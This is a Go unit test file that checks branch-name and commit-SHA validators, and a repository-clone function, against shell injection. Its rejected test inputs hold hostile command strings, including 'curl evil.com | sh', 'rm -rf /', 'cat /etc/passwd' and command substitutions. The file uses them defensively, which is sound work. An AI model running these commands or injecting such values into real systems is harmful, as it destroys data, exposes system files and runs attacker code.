package docker import ( "errors" "log/slog" "testing" ) func TestValidBranchRegex(t *testing.T) { valid := []string{ "main", "develop", "feature/my-feature", "release-1.0", "v1.2.3", "fix/issue_42", "my.branch", } for _, b := range valid { if !validBranchRe.MatchString(b) { t.Errorf("expected branch %q to be valid", b) } } invalid := []string{ "main; curl evil.com | sh", "branch$(whoami)", "branch`id`", "branch && rm -rf /", "branch | cat /etc/passwd", "", "branch name with spaces", "branch\nnewline", } for _, b := range invalid { if validBranchRe.MatchString(b) { t.Errorf("expected branch %q to be invalid (potential injection)", b) } } } func TestValidCommitSHARegex(t *testing.T) { valid := []string{ "abc123def456789012345678901234567890abcd", "0000000000000000000000000000000000000000", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", } for _, s := range valid { if !validCommitSHARe.MatchString(s) { t.Errorf("expected SHA %q to be valid", s) } } invalid := []string{ "short", "abc123", "ABCDEF1234567890123456789012345678901234", // uppercase "abc123def456789012345678901234567890abcd; rm -rf /", "$(whoami)000000000000000000000000000000000", "", } for _, s := range invalid { if validCommitSHARe.MatchString(s) { t.Errorf("expected SHA %q to be invalid (potential injection)", s) } } } func TestCloneRepoRejectsInjection(t *testing.T) { c := &Client{ log: slog.Default(), } tests := []struct { name string branch string commitSHA string wantErr error }{ { name: "shell injection in branch", branch: "main; curl evil.com | sh #", wantErr: ErrInvalidBranch, }, { name: "command substitution in branch", branch: "$(whoami)", wantErr: ErrInvalidBranch, }, { name: "backtick injection in branch", branch: "`id`", wantErr: ErrInvalidBranch, }, { name: "injection in commitSHA", branch: "main", commitSHA: "not-a-sha; rm -rf /", wantErr: ErrInvalidCommitSHA, }, { name: "short SHA rejected", branch: "main", commitSHA: "abc123", wantErr: ErrInvalidCommitSHA, }, { name: "valid inputs pass validation (hit NotConnected)", branch: "main", commitSHA: "abc123def456789012345678901234567890abcd", wantErr: ErrNotConnected, }, { name: "valid branch no SHA passes validation (hit NotConnected)", branch: "main", wantErr: ErrNotConnected, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { _, err := c.CloneRepo( t.Context(), "git@example.com:repo.git", tt.branch, tt.commitSHA, "fake-key", "/tmp/container", "/tmp/host", ) if err == nil { t.Fatal("expected error, got nil") } if !errors.Is(err, tt.wantErr) { t.Errorf("expected error %v, got %v", tt.wantErr, err) } }) } }